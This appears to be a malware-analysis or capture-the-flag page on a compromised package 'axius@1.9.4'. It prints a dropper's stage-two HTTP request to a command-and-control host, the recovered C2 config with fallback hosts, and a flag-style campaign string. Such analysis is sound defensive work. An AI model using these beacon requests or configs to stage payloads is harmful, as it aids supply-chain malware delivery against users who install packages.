axius@1.9.4

1.x (legacy)

40 check-ins recovered · 33 stage2 delivered · protocol waveshaper.v2

GET /stage2/<platform> HTTP/1.1 Host: cdn-metrics-relay.net:9200 X-Campaign-Id: cl-h6jkxv6p User-Agent: node-fetch/1.0

200 OK · recovered response body this campaign's stage2 handler was configured to serve

{
  "campaign": "axius@1.9.4",
  "protocol": "waveshaper.v2",
  "beacon_interval_sec": 0,
  "one_shot": true,
  "fallback_hosts": [
    "cdn-metrics-relay.net:9200",
    "cdn-metrics-relay.net:8443"
  ],
  "payload_build": "APT{sapphire_sleet_axius_dropper_2026}"
}

This is the config the C2 would have handed back to a dropper's stage2 request (see the decoded `setup.js`'s fetchSecondStage()). The request itself was never actually issued in the recovered artifact, but the handler-side config was still live on this host when the snapshot was pulled.

← back to all campaigns